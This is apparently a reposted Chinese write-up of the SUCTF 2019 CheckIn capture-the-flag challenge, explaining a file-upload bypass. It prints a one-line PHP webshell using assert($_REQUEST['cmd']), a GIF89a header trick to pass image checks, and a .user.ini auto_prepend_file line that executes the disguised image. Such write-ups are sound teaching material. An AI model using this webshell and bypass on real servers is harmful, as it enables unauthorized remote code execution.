码迷,mamicode.com
首页 > 其他好文 > 详细

[SUCTF 2019]CheckIn

时间:2020-02-20 23:46:01      阅读:170      评论:0      收藏:0      [点我收藏+]

标签:比较   user   apach   flag   target   服务   yun   end   mic   

 大佬的wp

 

 首先上传包含一句话的php文件,提示illegal suffix!,试了一下.php3,.php5,.phtml等都不行

技术图片

 把文件后缀名改成.jpg试一下,检测到了内容 <?

技术图片

  那就用其他姿势

<script language=‘php‘>assert($_REQUEST[‘cmd‘])</script>

检测到文件不是图像,很明显是用exif_imagetype()函数,函数功能是读取一个图像的第一个字节并检查其签名。 在一句话前面加个GIF89a进行绕过

技术图片

 那么现在的一句话如下,可以制作成图片马,但是需要解析成php

GIF89a
<script language=‘php‘>assert($_REQUEST[‘cmd‘])</script

正常想到的是.htaccess,但是这个服务器是nginx,而.htaccess是针对apache的

 

那么这里利用是 .user.ini ,而且.user,ini利用的范围比.htaccess更广,具体参考这里

不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

 php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:

PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

技术图片

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置

 同时在php配置项中有两个比较有意思的项

auto_prepend_file和auto_append_file

相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

 

那么思路就有了

上传图片马,然后利用.user.ini解析图片马生成webshell

生成图片马

技术图片

 然后需要利用.user.ini解析图片马

GIF89a
auto_prepend_file=shell.jpg

上传.user.ini和图片马

技术图片

然后根据上传的路径,找到上传的Webshell,获取flag

技术图片

 

[SUCTF 2019]CheckIn

标签:比较   user   apach   flag   target   服务   yun   end   mic   

原文地址:https://www.cnblogs.com/gaonuoqi/p/12337572.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!